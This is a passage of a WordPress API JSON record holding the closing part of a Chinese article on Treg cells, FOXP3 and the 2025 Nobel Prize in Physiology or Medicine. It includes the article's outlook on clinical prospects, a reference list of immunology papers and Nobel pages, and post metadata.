class=\"wp-block-paragraph\">\u968f\u7740\u4e34\u5e8a\u7814\u7a76\u7684\u63a8\u8fdb\u4e0e\u76f8\u5e94\u76d1\u7ba1\u4f53\u7cfb\u7684\u5b8c\u5584\uff0cTregs\u7597\u6cd5\u6709\u671b\u9010\u6b65\u5b9e\u73b0\u5e38\u89c4\u5316\u5e94\u7528\u3002\u7136\u800c\uff0c\u5176\u7279\u5f02\u6027\u3001\u7a33\u5b9a\u6027\u53ca\u5b89\u5168\u6027\u4ecd\u662f\u4e9f\u5f85\u89e3\u51b3\u7684\u6838\u5fc3\u95ee\u9898\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u672a\u6765\uff0c\u9700\u8981\u901a\u8fc7\u6301\u7eed\u7684\u5bf9\u7167\u7814\u7a76\u6765\u9a8c\u8bc1\u76f8\u5173\u836f\u7269\u7684\u4e34\u5e8a\u5e94\u7528\u4ef7\u503c\u3002\u968f\u7740\u5bf9\u80bf\u7624\u4e2dTregs\u7ec6\u80de\u7684\u672c\u8d28\u53ca\u5176\u53d1\u5c55\u8fc7\u7a0b\u7684\u6df1\u5165\u4e86\u89e3\uff0c\u7ed3\u5408\u5408\u6210\u751f\u7269\u5b66\u3001\u7eb3\u7c73\u6280\u672f\u4e0e\u57fa\u56e0\u7f16\u8f91\u7b49\u65b0\u5174\u624b\u6bb5\uff0c\u6709\u671b\u5b9e\u73b0\u5bf9Tregs\u7ec6\u80de\u7684\u7cbe\u51c6\u91cd\u5851\u4e0e\u53ef\u63a7\u8c03\u8282\uff0c\u4e3a\u514d\u75ab\u76f8\u5173\u75be\u75c5\u63d0\u4f9b\u66f4\u9ad8\u6548\u3001\u66f4\u5b89\u5168\u7684\u6cbb\u7597\u65b9\u6848\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6211\u4eec\u8ba1\u5212\u5c06\u5728\u4e0b\u7bc7\u300a2025\u8bfa\u8d1d\u5c14\u5956\u6d1e\u5bdf\uff1a\u5916\u5468\u514d\u75ab\u8010\u53d7\u53d1\u73b0\u5982\u4f55\u6539\u53d8\u65b0\u836f\u4e34\u5e8a\u7814\u7a76\uff1f\u300b\u4e2d\u66f4\u6df1\u5165\u4ecb\u7ecdTregs\u7ec6\u80de\u7684\u4f5c\u7528\u673a\u5236\u3001\u76f8\u5173\u7684\u4e34\u5e8a\u8f6c\u5316\u4e0e\u75be\u75c5\u6cbb\u7597\uff0c\u4ee5\u53ca\u65b0\u4e00\u4ee3\u7684Tregs\u4e34\u5e8a\u8bd5\u9a8c\u7b49\u5185\u5bb9\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6b22\u8fce\u5173\u6ce8\u3010\u5c0f\u725b\u533b\u836f\u3011\u516c\u4f17\u53f7\uff0c\u53ca\u65f6\u83b7\u53d6\u65b0\u836f\u4e34\u5e8a\u4e13\u4e1a\u6d1e\u5bdf\uff0c\u4e0d\u9519\u8fc7\u66f4\u65b0\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7f16\u8f91\uff1a\u5468\u5b89\u6960<br>\u5ba1\u6838\uff1a\u9648\u798f\u9f0e<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u53c2\u8003\u8d44\u6599\uff1a<\/strong><\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Sakaguchi S\uff0c et al. &#8220;Immunologic self-tolerance maintained by activated T cells expressing IL-2 receptor \u03b1-chains \uff08CD25\uff09.&#8221; Journal of Immunology 1995; 155:1151-1164.<\/li>\n\n\n\n<li>Sakaguchi, Shimon. &#8220;Taking regulatory T cells into medicine.&#8221; The Journal of Experimental Medicine 218.6 (2021): e20210831.<\/li>\n\n\n\n<li>Brunkow ME\uff0c et al. &#8220;Disruption of a new forkhead\/winged-helix protein\uff0c scurfin\uff0c results in the fatal lymphoproliferative disorder of the scurfy mouse.&#8221; Nature Genetics 2001; 27:68-73.<\/li>\n\n\n\n<li>Wildin RS\uff0c Ramsdell F\uff0c et al. &#8220;X-linked neonatal diabetes mellitus\uff0c enteropathy and endocrinopathy syndrome is the human equivalent of mouse scurfy.&#8221; Nature Genetics 2001; 27:18-20.<\/li>\n\n\n\n<li>Bennett CL\uff0c et al. &#8220;The immune dysregulation\uff0c polyendocrinopathy\uff0c enteropathy\uff0c X-linked syndrome \uff08IPEX\uff09 is caused by mutations of <em>FOXP3<\/em>.&#8221; Nature Genetics 2001; 27:20-21.<\/li>\n\n\n\n<li>Hori S\uff0c Nomura T\uff0c Sakaguchi S. &#8220;Control of regulatory T cell development by the transcription factor Foxp3.&#8221; Science 2003; 299:1057-1061.<\/li>\n\n\n\n<li>Nobel Assembly at Karolinska Institutet. \uff082025\uff0c October 6\uff09. The 2025 Nobel Prize in Physiology or Medicine &#8211; Press Release.&nbsp;<a href=\"https:\/\/nobelprize.org\/\" target=\"_blank\" rel=\"noreferrer noopener\">NobelPrize.org<\/a>.&nbsp;<a href=\"https:\/\/www.nobelprize.org\/prizes\/medicine\/2025\/press-release\/\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/www.nobelprize.org\/prizes\/medicine\/2025\/press-release\/<\/a><\/li>\n\n\n\n<li>The Nobel Assembly at Karolinska Institutet. \uff082025\uff09. They understood how the immune system is kept in check [Popular information]. NobelPrize.org. <a href=\"https:\/\/www.nobelprize.org\/prizes\/medicine\/2025\/popular-information\/\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/www.nobelprize.org\/prizes\/medicine\/2025\/popular-information\/<\/a><\/li>\n\n\n\n<li>Sharabi, A., Tsokos, M., Ding, Y.&nbsp;<em>et al.<\/em>&nbsp;Regulatory&nbsp;T cells in the treatment of disease.&nbsp;<em>Nat Rev Drug Discov<\/em>&nbsp;17, 823\u2013844 (2018). https:\/\/doi.org\/10.1038\/nrd.2018.148<\/li>\n\n\n\n<li>Wardell, C.M., Boardman, D.A. &amp; Levings, M.K. Harnessing the biology of&nbsp;regulatory&nbsp;T cells to treat disease.&nbsp;<em>Nat Rev Drug Discov<\/em>&nbsp;24, 93\u2013111 (2025). https:\/\/doi.org\/10.1038\/s41573-024-01089-x<\/li>\n\n\n\n<li>\u79d1\u5c0f\u4e8c. (2025, 10 \u6708 13 \u65e5). 2025 \u8bfa\u5956\u751f\u7406\u5b66\u6216\u533b\u5b66\u5956\u89e3\u8bfb\uff1a\u514d\u75ab\u7cfb\u7edf\u7684 \u201c\u5239\u8f66\u201d \u5982\u4f55\u88ab\u53d1\u73b0\uff0c\u53c8\u5982\u4f55\u6539\u5199\u672a\u6765\u533b\u5b66\uff1f\u79d1\u666e\u4e2d\u56fd.&nbsp;<a href=\"https:\/\/www.kepuchina.cn\/article\/articleinfo?business_type=100&amp;ar_id=640332\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/www.kepuchina.cn\/article\/articleinfo?business_type=100&amp;ar_id=640332<\/a><\/li>\n\n\n\n<li>Aristin Revilla, Sonia, Onno Kranenburg, and Paul J. Coffer. &#8220;Colorectal cancer-infiltrating regulatory T cells: functional heterogeneity, metabolic adaptation, and therapeutic targeting.&#8221; Frontiers in immunology 13 (2022): 903564.<\/li>\n\n\n\n<li>Saravia, J., Chi, H. Immunometabolism of&nbsp;regulatory&nbsp;T cells in cancer.&nbsp;<em>Oncogene<\/em>&nbsp;44, 2011\u20132024 (2025). https:\/\/doi.org\/10.1038\/s41388-025-03458-1<\/li>\n\n\n\n<li>Shan F, Somasundaram A, Bruno TC, Workman CJ, Vignali DAA. Therapeutic targeting of regulatory T cells in cancer. Trends Cancer. 2022 Nov;8(11):944-961.<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n","protected":false},"excerpt":{"rendered":"<p>2025\u8bfa\u8d1d\u5c14\u751f\u7406\u5b66\u6216\u533b\u5b66\u5956\u8be6\u89e3\uff1a\u805a\u7126\u5916\u5468\u514d\u75ab\u8010\u53d7\u5173\u952e\u8c03\u63a7\u8def\u5f84Tregs\u7684\u5176\u4e3b\u8c03\u63a7\u56e0\u5b50FOXP3\u7684\u53d1\u73b0\uff0c\u4e3a\u81ea\u8eab\u514d\u75ab\u75c5\u3001\u764c\u75c7\u3001\u79fb\u690d\u8010\u53d7\u7684\u65b0\u7597\u6cd5\u5960\u5b9a\u57fa\u7840\u3002<\/p>\n","protected":false},"author":1,"featured_media":1483,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[17],"tags":[46,35,15,32,34,48,49,47,45],"class_list":["post-1462","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-17","tag-tregs","tag-35","tag-15","tag-32","tag-34","tag-48","tag-49","tag-47","tag-45"],"_links":{"self":[{"href":"https:\/\/www.millibuff.com\/index.php?rest_route=\/wp\/v2\/posts\/1462","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.millibuff.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.millibuff.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.millibuff.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.millibuff.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1462"}],"version-history":[{"count":10,"href":"https:\/\/www.millibuff.com\/index.php?rest_route=\/wp\/v2\/posts\/1462\/revisions"}],"predecessor-version":[{"id":1482,"href":"https:\/\/www.millibuff.com\/index.php?rest_route=\/wp\/v2\/posts\/1462\/revisions\/1482"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.millibuff.com\/index.php?rest_route=\/wp\/v2\/media\/1483"}],"wp:attachment":[{"href":"https:\/\/www.millibuff.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1462"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.millibuff.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1462"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.millibuff.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1462"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}